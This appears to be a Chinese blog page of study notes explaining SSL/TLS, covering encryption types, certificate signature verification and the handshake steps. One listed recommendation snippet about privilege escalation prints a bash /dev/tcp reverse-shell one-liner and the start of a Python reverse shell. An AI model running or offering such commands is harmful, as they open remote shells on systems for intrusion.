前言

主要是自己学习SSL流程时的辅助理解笔记。

包括数字证书前面为什么值得信任。

  • 注意:多级CA还没有时间去记录,可能后期遇到再补。

参考

李柱明博客:https://www.cnblogs.com/lizhuming/p/15487016.html

概念

理解为主,非官方描述。

对称加密

对称加密

  • 明文 P,加上密码 W 一混淆之后,变成密文 M

  • 如果不知道 W,则无法从 M 反推回 P

  • 例子:

    • 异或。密钥与明文异或得到密文。异或的特点使得,密文与密钥进行异或,可以还原密文。

非对称加密

非对称加密

  • 非对称加密使用的密码有一对:

    • 一个称为公钥 Pub
    • 一个称为私钥 Priv
  • 明文 P,经过公钥 Pub 加密后,变成密文 M

  • 密文 M 只有私钥 Priv 能解开。

  • 若是结果私钥 priv 加密,就只由公钥 pub 能解开。

公钥

公钥:公钥,就是可以公开出去可以供所有人使用的密钥。

私钥:私钥,需要保护好。

密码:密码,需要保护好。

单向加密

单向加密

  • 无法反推的加密。
  • 如 hash。常用于比较明文是否被篡改。

数字签名

知道公钥和私钥后。

基础

作用

SSL/TLS 协议是为了解决这三大风险而设计:

  • 所有信息都是加密传播,第三方无法窃听。
  • 具有校验机制,一旦被篡改,通信双方会立刻发现。
  • 配备身份证书,防止身份被冒充。

SSL/TLS 模型

运作

SSL/TLS 协议的基本思路是采用 公钥加密法

公钥加密法:即是客户端先向服务器端索要公钥,然后用公钥加密信息,服务器收到密文后,用自己的私钥解密。

问题&解

  1. 如何保证公钥不被篡改?

    • 解决:将公钥放在数字证书中。只要证书是可信的,公钥就是可信的。
  2. 公钥加密计算量太大,如何减少耗用的时间?

    • 解决:每一次对话(session),客户端和服务器端都生成一个"对话密钥"(session key),用它来加密信息。由于"对话密钥"是对称加密,所以运算速度非常快,而服务器公钥只用于加密"对话密钥"本身,这样就减少了加密运算的消耗时间。
  3. 数字证书验证原理:

    • 在握手阶段,服务端会把服务端的公钥放到 CA 颁发的数字证书中。
    • CA 颁发数字证书,会给数字证书签名。
    • 签名就是把数字证书经过 hash 算法得出 hash 值,然后用 CA 机构的私钥给该 hash 值加密,这个加密值就是签名。
    • 服务端把数字证书、 CA 机构的签名和哪一个 CA 机构发送到客户端。
    • 客户端在自己信任的 CA 列表中找到和服务端发过来的 CA 机构,说明客户端信任该机构。
    • 然后客户端把数字证书结果相同的 hash 算法得出 hash 值,且使用该 CA 机构的公钥对服务端发来的签名进行解密,若两值相等,则说明证书可靠。
    • 数字证书签名和验证如下图:
  4. SSL 过程中数字证书内容:

    1. 内容本端公钥
    2. 证书所有者
    3. 证书的发布机构
    4. 证书的有效期
    5. 等等。

基本过程

  1. 客户端向服务器端索要并验证公钥。
  2. 双方协商生成"对话密钥"。
  3. 双方采用"对话密钥"进行加密通信。

前两步称为 握手阶段handshake)。

握手阶段

握手阶段涉及四次通信。

  • 客户端发出请求(ClientHello)
  • 服务器回应(SeverHello)
  • 客户端回应
  • 服务器的最后回应

握手阶段都是明文通信。

客户端发出请求(ClientHello)

客户端先向服务器发出加密通信的请求,主要向服务器提供以下信息:

  1. 支持的协议版本。
  2. 一个客户端生成的随机数,稍后用于生成"对话密钥"。
  3. 支持的加密方法,比如 RSA 公钥加密。
  4. 支持的压缩方法。

服务器回应(SeverHello)

服务器收到客户端请求后,向客户端发出回应,服务器的回应包含以下内容:

  1. 确认使用的加密通信协议版本。
  2. 一个服务器生成的随机数,稍后用于生成"对话密钥"。
  3. 确认使用的加密方法,比如 RSA 公钥加密。
  4. 服务器证书。
  5. 要求客户端提供客户端证书。(这个取决于服务器是否需要确认客户端的身份

客户端回应

客户端收到服务器回应以后,首先验证服务器证书:

  • 证书是否可信机构颁布;
  • 证书中的域名与实际域名是否一致;
  • 证书是否已经过期。

若证书有问题,可以停止握手操作。

若证书没问题,客户端就会从证书中取出服务器的公钥。

然后,向服务器发送下面三项信息:

  1. 一个随机数(pre-master key)。该随机数用服务器公钥加密,防止被窃听。
  2. 编码改变通知,表示随后的信息都将用双方商定的加密方法和密钥发送。
  3. 客户端握手结束通知,表示客户端的握手阶段已经结束。这一项同时也是前面发送的所有内容的 hash 值,用来供服务器校验。
  4. 如果服务器要求客户端提供证书,客户端发送证书及相关信息。

小笔记:

  • 握手阶段产生三个随机数。保证生成的密钥不会每次都一样。
  • 三个随机数通过一个密钥导出器最终导出一个对称密钥。
  • 三个随机数是因为双方都不能保证对方的随机数是真的随机,所以自己也产生一个随机数,这样就不能被猜出来。

服务器的最后回应

服务器收到客户端的第三个随机数 pre-master key 之后,计算生成本次会话所用的"会话密钥"。然后向客户端发送以下信息:

  1. 编码改变通知,表示随后的信息都将用双方商定的加密方法和密钥发送。

  2. 服务器握手结束通知,表示服务器的握手阶段已经结束。

    • 这一项同时也是前面发送的所有内容的 hash 值,用来供客户端校验。

握手结束后就可以继续 http 协议继续通信了。只不过是加密会话而已。

  • ssl 作用在应用层与传输层之间,它并不晓得应用层的东西。不必理会 url、header、body,应用层传传下来的数据到达传输层前,只需要把整个数据包都加密就完事了。

HTTPS 流程图参考

  • 简版

  • 目前主流的 TLS 的握手过程

【TLS】-TLS/SSL笔记的更多相关文章

  1. 详解HTTPS、TLS、SSL

    HTTPS.TLS.SSL HTTP也称作HTTP over TLS.TLS的前身是SSL,TLS 1.0通常被标示为SSL 3.1,TLS 1.1为SSL 3.2,TLS 1.2为SSL 3.3.下 ...

  2. 详解 HTTPS、TLS、SSL、HTTP区别和关系

    一.什么是HTTPS.TLS.SSL HTTP也称作HTTP over TLS.TLS的前身是SSL,TLS 1.0通常被标示为SSL 3.1,TLS 1.1为SSL 3.2,TLS 1.2为SSL ...

  3. TLS与SSL之间关系——SSL已经被IEFT组织废弃,你可以简单认为TLS是SSL的加强版

    TLS与SSL之间关系 原文地址:SSL vs. TLS - What's the Difference? from:https://juejin.im/post/5b213a0ae51d4506d4 ...

  4. Web通信协议:OSI、TCP、UDP、Socket、HTTP、HTTPS、TLS、SSL、WebSocket、Stomp

    1      各层的位置 1.1      OSI七层模型全景图 OSI是Open System Interconnect的缩写,意为开放式系统互联. 1.2      五层网络协议 在七层的基础上, ...

  5. TLS就是SSL的升级版+网络安全——一图看懂HTTPS建立过程——本质上就是引入第三方监管,web服务器需要先生成公钥和私钥,去CA申请,https通信时候浏览器会去CA校验CA证书的有效性

    起初是因为HTTP在传输数据时使用的是明文(虽然说POST提交的数据时放在报体里看不到的,但是还是可以通过抓包工具窃取到)是不安全的,为了解决这一隐患网景公司推出了SSL安全套接字协议层,SSL是基于 ...

  6. TLS and SSL

    SSL:(Secure Socket Layer,安全套接字层),位于可靠的面向连接的网络层协议和应用层协议之间的一种协议层.SSL通过互相认证.使用数字签名确保完整性.使用加密确保私密性,以实现客户 ...

  7. TLS、SSL、HTTPS以及证书

    转自:http://www.cnblogs.com/kyrios/p/tls-and-certificates.html 最近在研究基于ssl的传输加密,涉及到了key和证书相关的话题,走了不少弯路, ...

  8. 网络协议相关面试问题-TLS与SSL握手

    HTTPS是什么? HTTPS并不是一个单独的协议,而是对工作在一加密连接(SSL / TLS)上的常规HTTP协议.通过在TCP和HTTP之间加入TLS(Transport Layer Securi ...

  9. tls和ssl

    一个存在于 SSL 3.0 协议中的新漏洞于被披露,通过此漏洞,第三方可以拦截通过采用 SSL 3.0 的服务器传输的重要信息. 问题出在哪里? 与此问题相关的不是 SSL 证书本身,而是进行加密处理 ...

随机推荐

  1. 如何在win10中Java中JDK的安装和path,classpath的环境配置

    1,第一步,不用说肯定是去下一个java JDK了.目前最新版本的java JDK应该是JDK 7.0,这个就自己去百度一下了,好多网站都可以找到.2,第二步就是安装JDK虚拟机了,按照它里面的提示一 ...

  2. 虚拟机乌班图系统安装 VMware tools 工具

    在VMware虚拟机中安装完毕Linux操作系统之后,我们经常会发现桌面不能全屏显示或者windows主机系统与linux操作系统之间无法创建共享文件夹.这是因为我们还没有安装VMware tools ...

  3. 执行sudo apt-get update,连接失败

    问题:sudo apt-get update连接失败 错误:1 http://cn.mirrors.ustc.edu.cn/ubuntu bionic InRelease 连接失败 [IP: 218. ...

  4. Charles抓包工具过滤网络请求

    Charles是一个HTTP代理服务器,HTTP监视器,反转代理服务器,当浏览器连接Charles的代理访问互联网时,Charles可以监控浏览器发送和接收的所有数据.它允许一个开发者查看所有连接互联 ...

  5. 1.pytest初尝试

    语法规范 pytest命令会默认执行以 -- test_**.py -- 或 -- **_test.py -- 命名文件的测试用例 pytest的测试用例必须以 -- test -- 开头 def t ...

  6. 三千字介绍Redis主从+哨兵+集群

    一.Redis持久化策略 1.RDB 每隔几分钟或者一段时间会将redis内存中的数据全量的写入到一个文件中去. 优点: 因为他是每隔一段时间的全量备份,代表了每个时间段的数据.所以适合做冷备份. R ...

  7. 提权AND反弹OR转发

    bash -i >& /dev/tcp/ip/3333 0>&1 python -c "import os,socket,subprocess;s=socket. ...

  8. 借助Cookie实现是否第一次登陆/显示上次登陆时间

    Cookie实现是否第一次登陆/显示上次登陆时间 最近刚好看到Cookie这方面知识,对Servlet部分知识已经生疏,重新翻出已经遗弃角落的<JavaWeb开发实战经典>,重新温习了Co ...

  9. mysql学习教程之mysql管理

    MySQL 管理 启动及关闭 MySQL 服务器 Windows 系统下 在 Windows 系统下,打开命令窗口(cmd),进入 MySQL 安装目录的 bin 目录. 启动: cd c:/mysq ...

  10. Vue自定义标签页,并且在其中渲染Echarts图表

    目录 一.需求说明 二.标签页功能实现 一.需求说明 1.点击标签按钮切换不同的echarts图表,考虑用Ant Design Vue,但是其样式无法自定义 2.div的整体布局样式使用tailwin ...